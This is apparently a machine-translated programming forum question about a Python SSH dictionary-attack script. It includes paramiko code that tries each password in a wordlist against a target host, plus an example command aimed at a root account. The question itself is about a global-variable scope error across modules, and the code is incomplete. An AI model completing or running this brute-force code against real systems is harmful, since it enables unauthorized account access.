Продолжая писать сценарий атаки на словарь для проекта.Глобальная переменная, не определенная после разделения функций на отдельный файл Python
Мой сценарий вызывает две функции, которые выполняют фактическую атаку словаря на SSH. Сначала я объявил свою глобальную переменную в моих get_args() функции в main.py
, следуя с основной функцией()
def get_args():
# stuff for parsing blah blah
global service, username, wordlist, address, port, delay
service = args.service
username = args.username
wordlist = args.password
address = args.address
port = args.port
delay = args.delay
return service, username, wordlist, address
def main():
service, username, wordlist, address = get_args()
# output and stuff
# SSH bruteforce
if service == 'ssh':
if address is None:
print R + "[!] You need to provide a SSH address for cracking! [!]" + W
else:
print C + "[*] Address: %s" % address + W
sleep(0.5)
global port
if port is None:
print O + "[?] Port not set. Automatically set to 22 for you [?]" + W
port = 22
print C + "[*] Port: %s " % port + W
sleep(1)
print P + "[*] Starting dictionary attack! [*]" + W
print "Using %s seconds of delay. Default is 1 second" % delay
sshBruteforce(address, username, wordlist)
Линия sshBruteforce(address, username, wordlist)
ссылки функцию, что я включить в отдельный файл в качестве модуля, который я импортировать с
from module1 import *
Внутри module1.py:
# ssh_connect()
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
paramiko.util.log_to_file("filename.log")
try:
ssh.connect(address, port=port, username=username, password=password)
def sshBruteforce(address, username, wordlist):
wordlist = open(wordlist, 'r')
for i in wordlist.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
# actual bruteforcing here. The above line references the ssh_connect()
# function, which is where the problem actual occurs
линия, ssh.connect(address, port=port, username=username, password=password)
где проблема возникает. Скажем, я выполняю скрипт так:
python main.py -u root -w wordlist.txt -s ssh -p 22 -a 192.168.1.3
Это хранит строку "root"
внутри переменной username
и т.д. Однако, как только программа main.py
выполняет функцию sshBruteforce(), это происходит:
global name 'address' is not defined
Я знаю, что это происходит в функции ssh_connect(), с линией ssh.connect(address, port=port, username=username, password=password)
, что означает, что переменная address
в ней не хранится. Я не знаю, почему это происходит.
Включая from __main__ import *
в пределах module1.py
ничего не меняет. Я видел много таких вопросов, но ни одна из них не похожа на мою ситуацию.